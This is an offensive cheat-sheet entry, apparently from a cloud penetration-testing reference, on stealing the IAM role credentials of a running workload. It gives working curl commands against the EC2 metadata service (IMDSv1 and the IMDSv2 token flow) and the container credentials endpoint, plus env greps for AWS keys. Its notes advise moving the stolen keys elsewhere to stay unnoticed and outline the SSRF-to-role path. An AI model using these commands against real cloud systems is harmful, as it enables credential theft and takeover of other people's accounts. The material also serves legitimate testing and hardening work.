Exploit the workload’s own credentials

Take the role a running workload was given, from inside that workload:

  1. Reach the metadata service, or the environment the platform populated

  2. Read the credentials and use them from wherever is convenient

curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/app-role

Example: metadata with a session token

Where the second version of the metadata service is enforced, the same data needs a token first, which is a request a naive server-side request forgery cannot make because it requires a PUT and a header.

TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/app-role

Container platforms hand credentials over a different address, named in the environment:

env | grep -i AWS_
curl -s "169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}"

Serverless runtimes place them in the environment directly:

env | grep -E 'AWS_ACCESS_KEY_ID|AWS_SECRET_ACCESS_KEY|AWS_SESSION_TOKEN'

Notes

The credentials are temporary and carry an expiry, which is visible in the response. They remain valid away from the host that fetched them, so the useful move is usually to take them somewhere quieter rather than to work from the compromised workload.

The metadata service is reachable from any code running on the instance, which includes any application that can be persuaded to fetch a URL on request. That is the whole of the request forgery to instance role path.

A hop limit governs how far the response will travel. The default of one keeps a container from reaching the host’s metadata service through the bridge, and raising it to two, often done to make a container work, removes that.

The role attached to a workload is scoped for what the workload does, which is regularly broader than what it does today and always broader than what an attacker needs.